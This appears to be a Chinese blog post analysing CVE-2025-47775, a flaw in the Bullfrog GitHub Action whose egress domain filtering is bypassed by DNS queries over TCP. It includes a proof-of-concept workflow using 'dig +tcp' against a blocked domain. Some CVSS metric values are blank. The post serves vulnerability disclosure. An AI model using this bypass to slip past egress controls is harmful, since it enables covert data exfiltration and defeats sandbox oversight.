Bullfrog安全工具DNS over TCP绕过域名过滤漏洞剖析

本文详细解析了CVE-2025-47775漏洞,该漏洞存在于Bullfrog安全工具中,其DNS over TCP功能可绕过域名过滤策略,导致潜在的数据泄露风险。文中包含漏洞原理、PoC示例及影响分析。

漏洞详情

CVE ID: CVE-2025-47775 GHSA ID: GHSA-m32f-fjw2-37v3 严重等级: 中等 CVSS 评分: 6.2

受影响的包:

  • 名称: bullfrogsec/bullfrog (GitHub Actions)
  • 受影响版本: < 0.8.4
  • 已修复版本: 0.8.4

发布日期: 2025年5月14日 更新日期: 2025年5月15日

漏洞描述

摘要 使用TCP协议进行DNS查询会绕过阻止机制,允许DNS数据渗出。

影响 沙箱绕过。

漏洞复现 (PoC)

以下是一个GitHub Actions工作流示例,演示了该漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

在此配置中,虽然Bullfrog被设置为仅允许流向*.github.com的出口流量(egress-policy: block),但通过使用dig命令的+tcp选项强制进行TCP DNS查询,攻击者仍然可以查询被阻止的域名(如api.google.com),从而绕过域名过滤策略。

技术细节

弱点 (CWE): CWE-201 - 向发送的数据中插入敏感信息。代码将数据传输给另一个参与者,但部分数据包含了本不应被该参与者访问的敏感信息。

CVSS v3.1 向量: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • 攻击向量 (AV): 本地
  • 攻击复杂度 (AC):
  • 所需权限 (PR):
  • 用户交互 (UI):
  • 影响范围 (S): 未改变
  • 机密性影响 (C):
  • 完整性影响 (I):
  • 可用性影响 (A):

EPSS 分数: 0.051% (第16百分位)

参考链接

报告者: vin01 发布者: fallard84 (至 bullfrogsec/bullfrog 仓库)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计